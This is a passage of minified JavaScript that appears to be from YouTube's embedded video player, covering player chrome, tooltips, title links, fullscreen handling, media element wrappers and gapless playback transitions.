g.q.yA=function(){return this.K.element};g.P(QhH,gk);g.q=QhH.prototype;g.q.jt=function(x){x.target!==this.dismissButton.element&&(this.onClickCommand&&this.U.XW("innertubeCommand",this.onClickCommand),this.e_())};
g.q.e_=function(){this.enabled=!1;this.S.hide()};
g.q.onVideoDataChange=function(x,T){x==="dataloaded"&&p4f(this);x=[];var t,u,H,I;if(T=(I=g.N((t=T.getWatchNextResponse())==null?void 0:(u=t.playerOverlays)==null?void 0:(H=u.playerOverlayRenderer)==null?void 0:H.suggestedActionsRenderer,kqb))==null?void 0:I.suggestedActions)for(t=g.S(T),u=t.next();!u.done;u=t.next())(u=g.N(u.value,Fub))&&g.N(u.trigger,zYM)&&x.push(u);if(x.length!==0){t=[];x=g.S(x);for(u=x.next();!u.done;u=x.next())if(u=u.value,H=g.N(u.trigger,zYM))I=(I=u.title)?g.eb(I):"View Chapters",
T=H.timeRangeStartMillis,H=H.timeRangeEndMillis,T!=null&&H!=null&&u.tapCommand&&(t.push(new g.te(T,H,{priority:9,namespace:"suggested_action_button_visible",id:I})),this.suggestedActions[I]=u.tapCommand);this.U.oi(t)}};
g.q.Cl=function(){return this.enabled};
g.q.oH=function(){this.enabled?this.nf.start():nw(this);this.Ka()};
g.q.oU=function(){p4f(this);gk.prototype.oU.call(this)};var Ua={},vn=(Ua.CHANNEL_NAME="ytp-title-channel-name",Ua.FULLERSCREEN_LINK="ytp-title-fullerscreen-link",Ua.LINK="ytp-title-link",Ua.SESSIONLINK="yt-uix-sessionlink",Ua.SUBTEXT="ytp-title-subtext",Ua.TEXT="ytp-title-text",Ua.TITLE="ytp-title",Ua);g.P(VM,g.Q);VM.prototype.onClick=function(x){this.api.logClick(this.element);var T=this.api.Y(),t=this.api.getVideoUrl(!g.cu(x),!1,!0);g.zw(T)&&(T={},g.ET(this.api,"addEmbedsConversionTrackingParams",[T]),t=g.NY(t,T));g.uL(t,this.api,x)};
VM.prototype.Nj=function(){var x=this.api.getVideoData(),T=this.api.Y();this.updateValue("title",x.title);var t={L:"a",G:vn.CHANNEL_NAME,X:{href:"{{channelLink}}",target:"_blank"},z9:"{{channelName}}"};this.api.Y().j&&(t={L:"span",G:vn.CHANNEL_NAME,z9:"{{channelName}}",X:{tabIndex:"{{channelSubtextFocusable}}"}});this.updateValue("subtextElement",t);Ou5(this);this.api.getPresentingPlayerType()===2&&(t=this.api.getVideoData(),t.videoId&&t.isListed&&t.author&&t.hM&&t.profilePicture?(this.updateValue("channelLink",
t.hM),this.updateValue("channelName",t.author),this.updateValue("channelTitleFocusable","0")):Ou5(this));t=T.externalFullscreen||!this.api.isFullscreen()&&T.vE;g.Ic(this.link,vn.FULLERSCREEN_LINK,t);T.jY||!x.videoId||t||g.Tt(x)||T.j?this.C&&(this.updateValue("url",null),this.f2(this.C),this.C=null):(this.updateValue("url",this.api.getVideoUrl(!0)),this.C||(this.C=this.V(this.link,"click",this.onClick)));T.j&&(this.element.classList.add("ytp-no-link"),this.updateValue("channelName",g.zw(T)?x.expandedTitle:
x.author),this.updateValue("channelTitleFocusable","0"),this.updateValue("channelSubtextFocusable","0"))};g.P(g.Gv,g.Q);g.q=g.Gv.prototype;g.q.setEnabled=function(x){if(this.type!=null)if(x)switch(this.type){case 3:case 2:w45(this);this.N.show();break;default:this.N.show()}else this.N.hide();this.J=x};
g.q.g7=function(x,T,t,u,H,I,E,Z){if(!this.Om||this.env.J){this.type===3&&this.P_();this.type!==1&&(g.tw(this.element,"ytp-tooltip ytp-bottom"),this.type=1,this.J&&this.N.show(),this.Z&&this.Z.dispose(),(this.Z=this.api.ul())&&this.Z.subscribe("l",this.Hd,this));if(Z){var e=g.cf(this.bg).height||141;this.hQ.style.bottom=e+2+"px"}this.update({text:t,title:I!=null?I:"",eduText:Z!=null?Z:""});g.Ic(this.bottomText,"ytp-tooltip-text-no-title",this.type===1&&!I);this.api.isInline()&&g.uY(this.bottomText,
"ytp-modern-tooltip-text");g.Ic(this.element,"ytp-text-detail",!!u);t=-1;this.Z&&(t=LB(this.Z,243*this.scale),this.env.B("web_l3_storyboard")&&this.Z.levels.length===4&&(t=this.Z.levels.length-1),t=ZxJ(this.Z,t,T));X4X(this,t);if(E)switch(T=g.cf(this.element).width,E){case 1:this.title.style.right="0";this.title.style.textAlign="left";break;case 2:this.title.style.right=T+"px";this.title.style.textAlign="right";break;case 3:this.title.style.right=T/2+"px",this.title.style.textAlign="center"}Ky5(this,
!!u,x,H)}};
g.q.Xq=function(){this.type===1&&this.P_()};
g.q.Dq=function(x,T){if(this.type)if(this.type===3)this.P_();else return;fqH(this,x,3,T)};
g.q.Kd=function(){this.C&&!this.S&&this.C.hasAttribute("title")&&(this.j=this.C.getAttribute("title")||"",this.C.removeAttribute("title"),this.J&&w45(this))};
g.q.Hd=function(x,T){x<=this.K&&this.K<=T&&(x=this.K,this.K=NaN,X4X(this,x))};
g.q.ifU=function(){EYC(this.Z,this.K,243*this.scale)};
g.q.P_=function(){switch(this.type){case 2:var x=this.C;x.removeEventListener("mouseout",this.ZZ);x.addEventListener("mouseover",this.D);x.removeEventListener("blur",this.ZZ);x.addEventListener("focus",this.D);xr4(this);break;case 3:xr4(this);break;case 1:this.Z&&(this.Z.unsubscribe("l",this.Hd,this),this.Z=null),this.api.removeEventListener("videoready",this.jY),this.uG.stop()}this.type=null;this.J&&this.N.hide()};
g.q.On=function(){if(this.C)for(var x=0;x<arguments.length;x++)g.ux(arguments[x],this.C)&&this.P_()};
g.q.oU=function(){this.type!=null&&this.P_();this.Z&&this.Z.dispose();g.Q.prototype.oU.call(this)};g.P(o2J,g.Q);g.q=o2J.prototype;g.q.sf=function(){this.visible=tHD(this);this.ou(this.visible);this.icon&&u$5(this,this.icon);this.U.logVisibility(this.element,this.visible&&this.T)};
g.q.AR=function(){return this.U.getVideoData().videoId};
g.q.onClick=function(){this.U.logClick(this.element);var x=this.U.Y(),T=this.AR();x.uG?TuC(this):st3(this,T)};
g.q.onReset=function(){this.isRequestPending=this.C=!1;this.Nj(2);this.sf()};
g.q.Nj=function(x,T){var t=this.U.Y();u$5(this,x);T?this.update({title:T,image:null}):t.userDisplayName?(x={USER_NAME:t.userDisplayName},this.update({title:this.C?g.MA("Added as $USER_NAME",x):g.MA("Watch later as $USER_NAME",x),image:oX(t)})):this.update({title:"Watch later",image:null});this.U.Kd()};
g.q.JM=function(x){g.Q.prototype.JM.call(this,x);this.U.logVisibility(this.element,this.visible&&x)};g.P(g.L_,g.x6);g.q=g.L_.prototype;
g.q.init=function(){var x=this;this.Y6=new g.sl(this.api);this.t9=new jk(this.api);this.hm=new g.Q({L:"div",G:"ytp-chrome-top"});this.tooltip=new g.Gv(this.api,this);this.channelAvatar=new b6X(this.api);this.title=new VM(this.api);this.xp=new g.i9({L:"div",G:"ytp-chrome-top-buttons"});this.Oo=new M23(this.api,this.hm.element);this.mT=this.api.Y().controlsType==="1"?new Dei(this.api,this,this.vU):null;this.contextMenu=new nR4(this.api,this.Y6);this.nW=new g.Q({L:"div",X:{tabindex:"0"}});this.fW=new g.Q({L:"div",
X:{tabindex:"0"}});var T=this.api.bG(),t=this.api.Y(),u=this.api.getVideoData();this.TY&&(g.uY(this.api.getRootNode(),"ytp-embed"),g.uY(this.api.getRootNode(),"ytp-embed-playlist"),this.Y3&&(g.uY(this.api.getRootNode(),"ytp-embed-overlays-autohide"),g.uY(this.contextMenu.element,"ytp-embed-overlays-autohide")),this.VD=60,this.Yt=89);this.api.Y().j&&g.uY(this.api.getRootNode(),"ytp-embed-pfl");this.api.Y().Z&&(g.uY(this.api.getRootNode(),"ytp-mobile"),this.api.Y().J&&g.uY(this.api.getRootNode(),"ytp-embed-mobile"));
u&&u.videoId&&(this.fd=u&&u.getEmbeddedPlayerResponse());g.y(this,this.Y6);g.V$(this.api,this.Y6.element,4);g.y(this,this.t9);g.V$(this.api,this.t9.element,4);u=new g.Q({L:"div",G:"ytp-gradient-top"});g.y(this,u);g.V$(this.api,u.element,1);this.V1=new g.XK(u,250,!0,100);g.y(this,this.V1);g.y(this,this.hm);g.V$(this.api,this.hm.element,1);this.w7=new g.XK(this.hm,250,!0,100);g.y(this,this.w7);g.y(this,this.tooltip);g.V$(this.api,this.tooltip.element,4);var H=new rzH(this.api);g.y(this,H);g.V$(this.api,
H.element,5);H.subscribe("show",function(e){x.l8(H,e)});
this.tN.push(H);this.uO=new Ul(this.api,H);g.y(this,this.uO);!this.TY&&this.uO.yU(this.hm.element);g.y(this,this.channelAvatar);this.channelAvatar.yU(this.hm.element);g.y(this,this.title);this.title.yU(this.hm.element);this.TY&&(u=new whm(this.api),g.y(this,u),u.yU(this.hm.element));g.y(this,this.xp);this.xp.yU(this.hm.element);var I=new aVv(this.api,this);g.y(this,I);g.V$(this.api,I.element,5);I.subscribe("show",function(e){x.l8(I,e)});
this.tN.push(I);this.searchButton=new za(this.api);g.y(this,this.searchButton);this.searchButton.yU(this.xp.element);this.YJ=new o2J(this.api);g.y(this,this.YJ);this.YJ.yU(this.xp.element);this.shareButton=new g.k6(this.api,this,I);g.y(this,this.shareButton);this.shareButton.yU(this.xp.element);this.copyLinkButton=new Zg(this.api,this);g.y(this,this.copyLinkButton);this.copyLinkButton.yU(this.xp.element);this.TY&&this.uO.yU(this.xp.element);g.y(this,this.Oo);this.Oo.yU(this.xp.element);t.Fe&&(u=new V8(this.api),
g.y(this,u),g.V$(this.api,u.element,4));t.j||(u=new Ao4(this.api,this.Oo),g.y(this,u),u.yU(this.xp.element));this.yL=new cz3(this.api);g.y(this,this.yL);g.V$(this.api,this.yL.element,5);this.yL.subscribe("show",function(){x.l8(x.yL,x.yL.rE())});
this.tN.push(this.yL);this.overflowButton=new g.Y6(this.api,this.yL);g.y(this,this.overflowButton);this.overflowButton.yU(this.xp.element);this.mT&&g.y(this,this.mT);t.controlsType==="3"&&(u=new rG(this.api),g.y(this,u),g.V$(this.api,u.element,9));g.y(this,this.contextMenu);this.contextMenu.subscribe("show",this.fL,this);this.api.B("show_preskip_progress_bar_for_skippable_ads")||(u=new V6(this.api,new tD(this.api)),g.y(this,u),g.V$(this.api,u.element,4));this.nW.listen("focus",this.K9,this);g.y(this,
this.nW);this.fW.listen("focus",this.dF,this);g.y(this,this.fW);var E;(this.Ax=t.ZG?null:new RR5(this.api,T,this.contextMenu,this.vU,this.Y6,this.t9,function(){return x.dG()},(E=this.mT)==null?void 0:E.progressBar))&&g.y(this,this.Ax);
this.TY||(this.HP=new NPq(this.api),g.y(this,this.HP),g.V$(this.api,this.HP.element,4),this.Or=new yzi(this.api),g.y(this,this.Or),g.V$(this.api,this.Or.element,4));this.Nr=new QhH(this.api);g.y(this,this.Nr);g.V$(this.api,this.Nr.element,4);if(this.TY){var Z=new iL3(this.api,this.api.Y().G9);g.y(this,Z);g.V$(this.api,Z.element,5);Z.subscribe("show",function(e){x.l8(Z,e)});
T=new ZL5(this.api,Z);g.y(this,T);g.V$(this.api,T.element,4)}this.ED.push(this.Y6.element);this.V(this.api,"fullscreentoggled",this.UR);this.V(this.api,"offlineslatestatechange",function(){x.api.MS()&&Np(x.vU,128,!1)});
this.V(this.api,"cardstatechange",function(){x.F0()});
this.V(this.api,"resize",this.dUy);this.V(this.api,"videoplayerreset",this.onReset);this.V(this.api,"showpromotooltip",this.GsY);g.x6.prototype.init.call(this)};
g.q.lD=function(){return this.tooltip};
g.q.rU=function(){return this.mT};
g.q.l8=function(x,T){T?this.vH=x:this.vH=null;this.F0()};
g.q.Pb=function(x,T){if(T)this.JK.push(x);else for(T=this.JK.length;T>=0;T--)if(this.JK[T]===x){this.JK.splice(T,1);break}Np(this.vU,64,this.JK.length>0)};
g.q.w5=function(){this.api.oF()&&this.api.oX();return!!this.vH||$rv(this)||g.x6.prototype.w5.call(this)};
g.q.BI=oV(3);g.q.P7=oV(7);g.q.xq=oV(10);
g.q.F0=function(){var x=!this.w5(),T=x&&this.api.oF()&&!g.p(this.api.getPlayerStateObject(),2)&&!g.Tt(this.api.getVideoData())&&!this.api.Y().j&&!this.api.isEmbedsShortsMode(),t=this.TY&&g.kh(this.api)&&g.p(this.api.getPlayerStateObject(),128);x||t?(this.w7.show(),this.V1.show()):(this.w7.hide(),this.V1.hide(),this.api.On(this.hm.element));T?this.Oo.tq():this.Oo.nz();this.mT&&yV4(this.mT,this.PG||!x);this.api.B("web_player_hide_overflow_button_if_empty_menu")&&HvC(this);g.x6.prototype.F0.call(this)};
g.q.hf=function(x,T,t,u,H){x.style.left="";x.style.top="";x.style.bottom="";var I=g.cf(x),E=u||this.mT&&g.ux(this.mT.yA(),T),Z=u=null;t!=null&&E||(u=g.cf(T),Z=g.Pf(T,this.api.getRootNode()),t==null&&(t=Z.x+u.width/2));t-=I.width/2;E?(T=this.mT,u=Ntv(T),Z=JVH(T),E=this.api.bG().getPlayerSize().height,t=g.iu(t,u,u+Z-I.width),I=E-CTH(T)-I.height):g.ux(this.hm.element,T)?(T=this.api.bG().getPlayerSize().width,t=g.iu(t,12,T-I.width-12),I=this.ew()?this.Yt:this.VD,this.api.Y().playerStyle==="gvn"&&(I+=
20),this.TY&&(I-=this.ew()?26:18)):(T=this.api.bG().getPlayerSize(),t=g.iu(t,12,T.width-I.width-12),I=Z.y>(T.height-u.height)/2?Z.y-I.height-12:Z.y+u.height+12);x.style.top=I+(H||0)+"px";x.style.left=t+"px"};
g.q.WJ=function(x){x&&(this.api.On(this.hm.element),this.mT&&this.api.On(this.mT.yA()));this.Y3&&(g.Ic(this.contextMenu.element,"ytp-autohide",x),g.Ic(this.contextMenu.element,"ytp-autohide-active",!0));g.x6.prototype.WJ.call(this,x)};
g.q.Uy=function(){g.x6.prototype.Uy.call(this);this.Y3&&(g.Ic(this.contextMenu.element,"ytp-autohide-active",!1),this.Y3&&(this.contextMenu.hide(),this.yL&&this.yL.hide()))};
g.q.Ny=function(x,T){var t=this.api.bG().getPlayerSize();t=new g.Hf(0,0,t.width,t.height);if(x||this.vU.Z&&!this.w5()){if(this.api.Y().OC||T)x=this.ew()?this.Yt:this.VD,t.top+=x,t.height-=x;this.mT&&(t.height-=CTH(this.mT))}return t};
g.q.UR=function(x){var T=this.api.getRootNode();x?T.parentElement?(T.setAttribute("aria-label","YouTube Video Player in Fullscreen"),this.api.Y().externalFullscreen||(T.parentElement.insertBefore(this.nW.element,T),T.parentElement.insertBefore(this.fW.element,T.nextSibling))):g.vW(Error("Player not in DOM.")):(T.setAttribute("aria-label","YouTube Video Player"),this.nW.detach(),this.fW.detach());this.C2();this.G5()};
g.q.ew=function(){var x=this.api.Y();return this.api.isFullscreen()&&!x.J||!1};
g.q.showControls=function(x){this.E4=!x;this.F0()};
g.q.C2=function(){var x=this.ew();this.tooltip.scale=x?1.5:1;this.contextMenu&&g.Ic(this.contextMenu.element,"ytp-big-mode",x);this.F0();this.api.B("web_player_hide_overflow_button_if_empty_menu")||HvC(this);this.G5();var T=this.api.isEmbedsShortsMode();T&&x?(x=(this.api.bG().getPlayerSize().width-this.api.getVideoContentRect().width)/2,g.Zt(this.hm.element,"padding-left",x+"px"),g.Zt(this.hm.element,"padding-right",x+"px")):T&&(g.Zt(this.hm.element,"padding-left",""),g.Zt(this.hm.element,"padding-right",
""));g.x6.prototype.C2.call(this)};
g.q.jL=function(){if($rv(this)&&!g.kh(this.api))return!1;var x=this.api.getVideoData();return!g.zw(this.api.Y())||this.api.getPresentingPlayerType()===2||!this.fd||((x=this.fd||x.fd)?(x=x.embedPreview)?(x=x.thumbnailPreviewRenderer,x=x.videoDetails&&g.N(x.videoDetails,fhX)||null):x=null:x=null,x&&x.collapsedRenderer&&x.expandedRenderer)?g.x6.prototype.jL.call(this):!1};
g.q.G5=function(){g.x6.prototype.G5.call(this);this.api.logVisibility(this.title.element,!!this.Zl);this.uO&&this.uO.JM(!!this.Zl);this.channelAvatar.JM(!!this.Zl);this.overflowButton&&this.overflowButton.JM(this.zV()&&!!this.Zl);this.shareButton&&this.shareButton.JM(!this.zV()&&!!this.Zl);this.YJ&&this.YJ.JM(!this.zV()&&!!this.Zl);this.searchButton&&this.searchButton.JM(!this.zV()&&!!this.Zl);this.copyLinkButton&&this.copyLinkButton.JM(!this.zV()&&!!this.Zl);if(!this.Zl){this.api.On(this.hm.element);
for(var x=0;x<this.tN.length;x++){var T=this.tN[x];T.rE()&&T.nz()}}};
g.q.QF=function(x){this.mT&&yV4(this.mT,this.w5());this.F0();g.x6.prototype.QF.call(this,x)};
g.q.handleGlobalKeyDown=function(x,T,t,u,H,I,E,Z){return this.Ax?this.Ax.handleGlobalKeyDown(x,T,t,u,H,I,E,Z):!1};
g.q.handleGlobalKeyUp=function(x,T,t,u,H,I,E){return this.Ax?this.Ax.handleGlobalKeyUp(x,T,t,u,H,I,E):!1};
g.q.dG=function(){if(this.contextMenu.lN)return this.contextMenu.nz(),!0;if(this.JK.length)return this.JK[this.JK.length-1].nz(),!0;if(this.vH)return this.vH.nz(),!0;this.mT&&this.api.On(this.mT.yA());this.xp&&this.api.On(this.xp.element);return g.x6.prototype.dG.call(this)};
g.q.l_=function(x,T){this.Ja=T;this.Pb(x,T);this.fL()};
g.q.fL=function(){var x=this.Ja||this.contextMenu.rE();this.rM!==x&&(this.rM=x,this.api.XW("onAutonavPauseRequest",this.rM))};
g.q.K9=function(){ivC(this,this.api.getRootNode(),!0).focus()};
g.q.dF=function(){ivC(this,this.api.getRootNode(),!1).focus()};
g.q.cw=function(){return this.mT&&this.mT.j};
g.q.rf=function(){this.vU.rf()};
g.q.W8=function(){this.Y6.hide()};
g.q.Q4=function(x){this.Y6.Q4(!x.isOrWillBePlaying())};
g.q.Wp=function(x,T,t,u){this.t9.Wp(x,T,t,u)};
g.q.renderChapterSeekingAnimation=function(x,T,t){yo4(this.t9,x,T,t)};
g.q.dUy=function(){IT4(this,!0)};
g.q.onReset=function(){HvC(this)};
g.q.GsY=function(x){IT4(this,!1,x)};
g.q.Ml=function(){return this.contextMenu};
g.q.YB=function(x,T){var t;if((t=this.mT)!=null){var u=Number(x.element.getAttribute("data-priority"))||0,H=0,I=t.Z.element;T&&t.U.B("delhi_modern_web_player")&&(I=t.Z.Um(Fb[T]));T=g.S(I.children);for(t=T.next();!(t.done||u<(Number(t.value.getAttribute("data-priority"))||0));t=T.next())H++;x.yU(I,H)}};
g.q.e3=function(){var x,T=(x=this.mT)==null?void 0:x.progressBar;if(T){var t;((t=T.Z)==null?0:t.isEnabled)&&T.e3()}};g.P(g.n_,g.r_);g.n_.prototype.uy=function(){return!1};
g.n_.prototype.create=function(){var x=this.player.Y();g.L2(x)&&x.Z||x.disableOrganicUi?this.chrome=new g.x6(this.player):this.chrome=new g.L_(this.player);g.y(this,this.chrome);this.chrome.init();this.player.Do("ux")};
g.n_.prototype.gV=function(){return this.chrome};var ao=[],u54=!1;g.P(gq,g.W);gq.prototype.N=function(){this.C!=null&&this.app.getVideoData()!==this.C&&Jj(this.C)&&nf3(this.app,this.C,void 0,void 0,this.j)};
gq.prototype.D=function(){if(this.C!=null&&this.app.getVideoData()!==this.C&&this.Z!=null&&this.K!=null&&this.T!=null&&Jj(this.C)){var x=ZvD(this.Z,this.K,this.T);x==null?nf3(this.app,this.C,void 0,void 0,this.j):(this.Z.kc("sgap",x),this.Z.getVideoData().J&&this.Z.Gj(!1))}};
gq.prototype.J=function(x){var T=this.app.VU();if(T){var t=this.app.getCurrentTime();Math.abs(t-x.end/1E3)>5&&T.kc("glrs",{cmt:t});T.seekTo(0,{seekSource:58});T.kc("glrre",{cmt:t})}};
gq.prototype.oU=function(){this.C=null;g.W.prototype.oU.call(this)};g.P(g.Bn,xl);g.q=g.Bn.prototype;g.q.isView=function(){return!0};
g.q.eI=function(){var x=this.mediaElement.getCurrentTime();if(x<this.start)try{var T=this.mediaElement.kp(),t=qG(T,x);return!(this.start<t)}catch(u){}return!1};
g.q.Km=function(){return ec(this.mediaElement.Km(),this.start,this.end)};
g.q.kp=function(){return ec(this.mediaElement.kp(),this.start,this.end)};
g.q.qB=function(){return ec(this.mediaElement.qB(),this.start,this.end)};
g.q.getCurrentTime=function(){return this.mediaElement.getCurrentTime()-this.start};
g.q.setCurrentTime=function(x){this.mediaElement.setCurrentTime(x+this.start)};
g.q.getDuration=function(){return isFinite(this.end)&&!this.C?this.end-this.start:this.mediaElement.getDuration()-this.start};
g.q.play=function(){if(this.eI()){this.mediaElement.getCurrentTime();try{this.mediaElement.setCurrentTime(this.start)}catch(x){}}return this.mediaElement.play()};
g.q.K2=function(){var x=xl.prototype.K2.call(this);x.view=this.start+"-"+this.end;return x};
g.q.addEventListener=function(x,T){this.mediaElement.addEventListener(x,T)};
g.q.removeEventListener=function(x,T){this.mediaElement.removeEventListener(x,T)};
g.q.qA=function(){return this.mediaElement.qA()};
g.q.activate=function(x){this.mediaElement.activate(x)};
g.q.My=function(){return this.mediaElement.My()};
g.q.playVideo=function(){return this.mediaElement.playVideo()};
g.q.hC=function(){this.mediaElement.hC()};
g.q.yK=function(){this.mediaElement.yK()};
g.q.kQ=function(){return this.mediaElement.kQ()};
g.q.yA=function(){return this.mediaElement.yA()};
g.q.Ld=function(){return this.mediaElement.Ld()};
g.q.lZ=function(x){this.mediaElement.lZ(x)};
g.q.vC=function(){this.mediaElement.vC()};
g.q.getPlaybackRate=function(){return this.mediaElement.getPlaybackRate()};
g.q.setPlaybackRate=function(x){return this.mediaElement.setPlaybackRate(x)};
g.q.RX=function(){return this.mediaElement.RX()};
g.q.setLoop=function(x){this.mediaElement.setLoop(x)};
g.q.canPlayType=function(x,T){return this.mediaElement.canPlayType(x,T)};
g.q.isPaused=function(){return this.mediaElement.isPaused()};
g.q.isSeeking=function(){return this.mediaElement.isSeeking()};
g.q.isEnded=function(){return this.mediaElement.isEnded()};
g.q.Kv=function(){return this.mediaElement.Kv()};
g.q.g5=function(x){this.mediaElement.g5(x)};
g.q.F6=function(){return this.mediaElement.F6()};
g.q.load=function(){this.mediaElement.load()};
g.q.pause=function(){this.mediaElement.pause()};
g.q.LB=function(){return this.mediaElement.LB()};
g.q.dQ=function(){return this.mediaElement.dQ()};
g.q.Yp=function(){return this.mediaElement.Yp()};
g.q.HU=function(){return this.mediaElement.HU()};
g.q.getVideoPlaybackQuality=function(){return this.mediaElement.getVideoPlaybackQuality()};
g.q.D$=function(){return this.mediaElement.D$()};
g.q.DS=function(){return this.mediaElement.DS()};
g.q.togglePictureInPicture=function(){this.mediaElement.togglePictureInPicture()};
g.q.zp=function(){return this.mediaElement.zp()};
g.q.getSize=function(){return this.mediaElement.getSize()};
g.q.setSize=function(x){this.mediaElement.setSize(x)};
g.q.getVolume=function(){return this.mediaElement.getVolume()};
g.q.setVolume=function(x){this.mediaElement.setVolume(x)};
g.q.setAttribute=function(x,T){this.mediaElement.setAttribute(x,T)};
g.q.removeAttribute=function(x){this.mediaElement.removeAttribute(x)};
g.q.hasAttribute=function(x){return this.mediaElement.hasAttribute(x)};
g.q.gL=oV(55);g.q.N9=oV(57);g.q.Gm=oV(59);g.q.Cq=oV(61);g.q.Qf=function(){return this.mediaElement.Qf()};
g.q.N4=function(x){this.mediaElement.N4(x)};
g.q.j2=function(x){return this.mediaElement.j2(x)};
g.q.u2=function(){return this.mediaElement.u2()};
g.q.stopVideo=function(){this.mediaElement.stopVideo()};
g.q.Rr=function(x){this.mediaElement.Rr(x)};
g.q.audioTracks=function(){return this.mediaElement.audioTracks()};
g.q.Pq=function(x){this.mediaElement.Pq(x)};g.P(lTJ,g.W);g.q=lTJ.prototype;g.q.getStatus=function(){return this.status};
g.q.GP=function(){var x=this.C.getVideoData(),T=this.Z.getVideoData(),t;if((t=x.j)&&!(t=!x.C)){t=x.C;for(var u=!1,H=!1,I=g.S(Object.values(t.C)),E=I.next();!E.done;E=I.next())E=E.value,E.info.audio&&E.index.isLoaded()&&(u=!0),E.info.video&&E.index.isLoaded()&&(H=!0);t.C["0"]&&(H=!0);t=u&&H}if(t)if(this.C.Bt()){I=qti(this.policy,this.C,this.Z,this.Ph);E=mrJ(this);t=E.ob;H=E.vN;u=E.YF;E=E.WN;if(!this.N){var Z=this.Z.G3()*1E3,e=this.C.G3();e=(u-t-e)*1E3;I&&I.msg==="in-the-past"&&(e=0);x=x.isAd();this.Z.N2(Z,
e,x);this.N=!0}I?(T="cannot_apply"+I.msg,delete I.msg,this.uf(T,I)):this.status.status===2?Stv(this):(x=this.C.My())&&fQ(x)&&(!Q5(x)&&g.N2()?this.uf("mse_closed"):T.C&&mV(T.C)&&x.Z&&!x.Z.EO()?this.uf("encr_upgrade"):(T=this.C.Bt(),T.isEnded()?this.uf("elem_ended"):H<0?this.uf("next_player_future"):(this.D=u,this.currentVideoDuration=u-t,this.j=S3C(x,t,u,!0),this.K=S3C(x,H,E,!1),x=this.Z.getVideoData().clientPlaybackNonce,this.C.kc("gaplessPrep",{cpn:x}),this.C.Py(this.j,!1,ALV(this),this.sF.Y().B("html5_shorts_gapless_keep_pending_requests")&&
tB(this.C.getVideoData())),this.C.setMediaElement(drv(T,t,u,!this.C.getVideoData().isAd())),D8(this,2),Stv(this))))}else this.uf("no-elem")};
g.q.Au=function(x){var T=x===Prf(this).R1,t=T?this.j.C:this.j.Z;T=T?this.K.C:this.K.Z;if(t.isActive&&!T.isActive){var u=this.D,H=this.sF.Y().B("html5_gapless_disable_on_discontinuous_buffer")&&this.T!==0&&t.ma().length>1;Ec(x.ma(),u-.01)&&!H&&(D8(this,4),t.isActive=!1,t.Ko=t.Ko||t.isActive,(this.T===1?this.C:this.Z).kc("sbh",{}),T.isActive=!0,T.Ko=T.Ko||T.isActive,this.T!==0&&(this.C.getVideoData().X7=!0));x=this.K.Z;if(this.K.C.isActive&&x.isActive&&(D8(this,5),this.T!==0)){x=this.Z.zY();t=this.C.zY();
this.C.kc("sbs",{citag:t==null?void 0:t.itag,nitag:x==null?void 0:x.itag});this.Z.kc("gitags",{pitag:t==null?void 0:t.itag,citag:x==null?void 0:x.itag});var I;(I=this.Z)==null||I.dY()}}};
g.q.Oq=function(){this.DJ()&&this.uf("player-reload-after-handoff")};
g.q.uf=function(x,T){T=T===void 0?{}:T;if(!this.T9()&&this.status.status!==6){var t=this.status.status>=4&&x!=="player-reload-after-handoff";this.status={status:Infinity,error:x};if(this.C&&this.Z){var u=this.Z.getVideoData().clientPlaybackNonce;this.C.XD(new r4("dai.transitionfailure",Object.assign(T,{cpn:u,transitionTimeMs:this.Ph,msg:x})));this.C.Gj(t)}this.f$.reject(x);this.dispose()}};
g.q.DJ=function(){return this.status.status>=4&&this.status.status<6};
g.q.oU=function(){RBi(this);this.C.unsubscribe("newelementrequired",this.Oq,this);if(this.j){var x=this.j.Z;this.j.C.oW.unsubscribe("updateend",this.Au,this);x.oW.unsubscribe("updateend",this.Au,this)}g.W.prototype.oU.call(this)};
g.q.Z1=function(x){g.j1(x,128)&&this.uf("player-error-event")};g.P(yM,g.W);yM.prototype.clearQueue=function(x,T){x=x===void 0?!1:x;T=T===void 0?!1:T;this.K&&this.K.reject("Queue cleared");this.app.Y().B("html5_gapless_fallback_on_qoe_restart_v2")||T&&this.Z&&this.Z.Gj(!1);N7(this,x)};
yM.prototype.d_=function(){return!this.C};
yM.prototype.DJ=function(){var x;return((x=this.j)==null?void 0:x.DJ())||!1};
yM.prototype.oU=function(){N7(this);g.W.prototype.oU.call(this)};g.P(rLH,g.$B);g.q=rLH.prototype;g.q.getVisibilityState=function(x,T,t,u,H,I,E,Z){return x?4:Yff()?3:T?2:t?1:u?5:H?7:I?8:E?9:Z?10:0};
g.q.bM=function(x){this.fullscreen!==x&&(this.fullscreen=x,this.oH())};
g.q.setMinimized=function(x){this.Z!==x&&(this.Z=x,this.oH())};
g.q.setInline=function(x){this.inline!==x&&(this.inline=x,this.oH())};
g.q.ue=function(x){this.pictureInPicture!==x&&(this.pictureInPicture=x,this.oH())};
g.q.setSqueezeback=function(x){this.j!==x&&(this.j=x,this.oH())};
g.q.NF=function(x){this.K!==x&&(this.K=x,this.oH())};
g.q.D$=function(){return this.C};
g.q.s9=function(){return this.fullscreen!==0};
g.q.isFullscreen=function(){return this.fullscreen!==0&&this.fullscreen!==4};
g.q.tA=function(){return this.fullscreen};
g.q.isMinimized=function(){return this.Z};
g.q.isInline=function(){return this.inline};
g.q.isBackground=function(){return Yff()};
g.q.cE=function(){return this.pictureInPicture};
g.q.Kc=function(){return!1};
g.q.lF=function(){return this.j};
g.q.Mb=function(){return this.K};
g.q.oH=function(){this.publish("visibilitychange");var x=this.getVisibilityState(this.D$(),this.isFullscreen(),this.isMinimized(),this.isInline(),this.cE(),this.Kc(),this.lF(),this.Mb());x!==this.D&&this.publish("visibilitystatechange");this.D=x};
g.q.oU=function(){rJi(this.T);g.$B.prototype.oU.call(this)};g.q=zB4.prototype;g.q.getCurrentTime=function(){return 0};
g.q.getDuration=function(){return 0};
g.q.p4=function(){return 0};
g.q.Bm=function(){return 0};
g.q.Mp=function(){return 0};
g.q.fT=function(){return 0};
g.q.Xx=function(){return 0};
g.q.ul=function(){return null};
g.q.getStoryboardFormat=function(){return null};
g.q.getVideoLoadedFraction=function(){return 0};
g.q.isAtLiveHead=function(){return!1};
g.q.pauseVideo=function(){};
g.q.playVideo=function(){return g.G(function(x){return x.return()})};g.P(kmJ,g.W);g.q=kmJ.prototype;g.q.j8=function(){return this.T};
g.q.xs=function(x){this.T=x};
g.q.VU=function(){return this.K};
g.q.Us=function(x){this.K=x};
g.q.pz=function(x){return this.j[x]||null};
